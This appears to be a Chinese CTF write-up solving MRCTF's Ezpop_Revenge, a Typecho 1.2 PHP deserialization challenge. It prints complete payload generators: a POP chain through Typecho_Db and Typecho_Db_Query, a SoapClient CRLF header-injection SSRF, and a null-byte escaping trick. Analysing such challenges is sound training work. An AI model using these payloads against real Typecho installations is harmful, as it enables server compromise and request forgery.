前言

一道typecho1.2的反序列化,顺便记录一下踩的坑

www.zip获得源码,结构大致如下



flag.php需要ssrf,如果成功会写入session



拿到源码直接去网上先找了一下有没有现成的payload(懒,

找到一篇类似的

https://p0sec.net/index.php/archives/114/

但是入口点是install.php,而源码里的install.php已经被删掉了,全局搜索一下:



路径为usr/plugins/HelloWorld/Plugin.php



很明显这里就是反序列化的点了,但是这里是一个方法不能直接利用,然后鸽了半天,后来才知道有个定义的路由==

typecho\plugin.php下:

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

首先看到这里:



很明显的入口点,跟进Typecho_Db::__construct



然后这里有一个字符拼接,于是我就按照上面那文章的思路找__tostring (接下来是踩坑)

踩坑



Feed.php下的tostring的358行



并且跟不过去,那么就可以找__get

Request.php



跟进



跟进_applyFilter



value由this->_params['screenName']决定可控,$_filter也可控,rce??(嘴角疯狂上扬)

于是我构造了如下pop链:

<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
var_dump($this->coincidence);
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Feed
{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function __construct(){
$this->_items=array('author' => new Typecho_Request());
}
}
class Typecho_Request{
private $_filter=array();
private $_params=array();
public function __construct()
{
$this->_params['screenName'] = -1;
$this->_filter = array('phpinfo');
}
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

然而这里函数过滤实在太多了,命令执行的函数几乎全过滤了,然后我就一直试,比赛结束也没试出来...(这个pop链貌似适用typecho1.1版本)

麻烦的解法(踩坑二)

后来我突然想到要是能rce为什么还有ssrf读flag....

好吧其实一开始__tostring我就找错了,应该找query.php这个跳板



可以看到如果$this->_sqlPreBuild['action']=SELECT就调用:

$this->_adapter->parseSelect($this->_sqlPreBuild)

然后令$this->_adapter为Soapclient实例,触发_call完成ssrf

调用链:

HelloWorld_DB::wakeup-->

Typecho_Db::__construct(tostring)-->

Typecho_Db_Query::__construct-->

(this->_adapter=new Soapclient)-->

ssrf

然后又是一个坑:

这里的成员变量大部分都是private的,而private有不可见字符需要用%00填充,而这里%是被过滤的:



然后就需要用\00来代替%00

这里有个知识点吧,以前没碰到过:

在 PHP5 最新的 CVS 中,

新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:

string 型数据(字符串)新的序列化格式为:

S:"<length>":"<value>";

其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。

它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。

普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";

而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";

看个例子



将不可见字符%00转化为十六进制,大S成功执行wakeup



小写s则失败



然后这里就需要将%统统转化为\,然后将标识字符串的s转化为S,这里用了颖奇师傅的方法:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}

将字符串以:冒号打散为数组,然后遍历用$arr[$i]匹配每个00,如果$arr[$i-2]中有小s就替换为S,然后以:拼接,看下面这个例子就懂了



最终payload:

<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
} }
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

加上一个?admin=1即可

正解

我又傻了,这里的serialize会进行base64编码,然而解码出来是这样的:



根本就没有%号啊,那就不用替换了,所以直接:

<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
} }
serialize(new HelloWorld_DB());
echo base64_encode($a);

MRCTF Ezpop_Revenge小记的更多相关文章

  1. [原]Paste.deploy 与 WSGI, keystone 小记

    Paste.deploy 与 WSGI, keystone 小记 名词解释: Paste.deploy 是一个WSGI工具包,用于更方便的管理WSGI应用, 可以通过配置文件,将WSGI应用加载起来. ...

  2. MySql 小记

    MySql  简单 小记 以备查看 1.sql概述 1.什么是sql? 2.sql发展过程? 3.sql标准与方言的关系? 4.常用数据库? 5.MySql数据库安装? 2.关键概念 表结构----- ...

  3. Git小记

    Git简~介 Git是一个分布式版本控制系统,其他的版本控制系统我只用过SVN,但用的时间不长.大家都知道,分布式的好处多多,而且分布式已经包含了集中式的几乎所有功能.Linus创造Git的传奇经历就 ...

  4. 广州PostgreSQL用户会技术交流会小记 2015-9-19

    广州PostgreSQL用户会技术交流会小记 2015-9-19 今天去了广州PostgreSQL用户会组织的技术交流会 分别有两个session 第一个讲师介绍了他公司使用PostgreSQL-X2 ...

  5. 东哥读书小记 之 《MacTalk人生元编程》

         一直以来的自我感觉:自己是个记性偏弱的人.反正从小读书就喜欢做笔记(可自己的字写得巨丑无比,尼玛不科学呀),抄书这事儿真的就常发生俺的身上. 因为那时经常要背诵课文之类,反正为了怕自己忘记, ...

  6. Paypal支付小记

    Paypal支付小记 *:first-child { margin-top: 0 !important; } body>*:last-child { margin-bottom: 0 !impo ...

  7. linux 下cmake 编译 ,调用,调试 poco 1.6.0 小记

    上篇文章 小记了: 关于 Poco::TCPServer框架 (windows 下使用的是 select模型) 学习笔记. http://www.cnblogs.com/bleachli/p/4352 ...

  8. mongodb入门学习小记

    Mongodb 简单入门(个人学习小记) 1.安装并注册成服务:(示例) E:\DevTools\mongodb3.2.6\bin>mongod.exe --bind_ip 127.0.0.1 ...

  9. 【日常小记】统计后缀名为.cc、.c、.h的文件数【转】

    转自:http://www.cnblogs.com/skynet/archive/2011/03/29/1998970.html 在项目开发时,有时候想知道源码文件中有多少后缀名为.cc..c..h的 ...

随机推荐

  1. excel导出功能

    /*  * 导出 add by faby on 20180918   */ public void export(){  HttpServletResponse response=ServletAct ...

  2. Visdom 介绍 | 二

    用于创建,组织和共享实时丰富数据可视化的灵活工具.支持Python. 概述 概念 设置 用法 API 注意事项 贡献 API 要快速了解visdom的功能,请查看example目录,或阅读以下详细信息 ...

  3. 使用Keras进行深度学习:(一)Keras 入门

    欢迎大家关注我们的网站和系列教程:http://www.tensorflownews.com/,学习更多的机器学习.深度学习的知识! Keras是Python中以CNTK.Tensorflow或者Th ...

  4. 17.用cmd创建maven web工程

    1.跳转到需要创建maven工程的目录,输入 mvn archetype:generate 2.找到webapp的那一项,输入它的序号(这里是10) 3.输入groupId,artifactId,ve ...

  5. MySQL默认隔离级别为什么是RR

    曾多次听到“MySQL为什么选择RR为默认隔离级别”的问题,其实这是个历史遗留问题,当前以及解决,但是MySQL的各个版本沿用了原有习惯.历史版本中的问题是什么,本次就通过简单的测试来说明一下. 1. ...

  6. SpringBoot 使用 JSR303 自定义校验注解

    JSR303 是 Java EE 6 中的一项子规范,叫做 Bean Validation,官方参考实现是hibernate Validator,有了它,我们可以在实体类的字段上标注不同的注解实现对数 ...

  7. 泛型--->Result返回结果封装

    controller的返回结果一般有两种:     1.Rest API JSON 输出     2.页面 目的:编写优雅的代码 实现:通过泛型对返回结果进行封装 代码如下: 一.控制层 /** * ...

  8. C# 快速开发框架搭建—环境搭建

    一.新建MVC项目 打开vs2013新建空的解决方案,在解决方案中增加一个MVC项目,如图: 删除不需要的文件,剩下如图所示的文件夹: 首先创建一个MVC5控制器(Login,登入使用),该控制器无需 ...

  9. 搭建mariadb数据库系统《一》

                                                                     搭建mariadb数据库系统 案例3:搭建mariadb数据库系统 3 ...

  10. python--模块、列表生成式、集合元祖列表

    一.导入模块的两种方式 1.直接使用import import 模块名 #调用 模块名.方法名() 2.使用from…import… from 模块名 import 方法名1,方法名2(from 模块 ...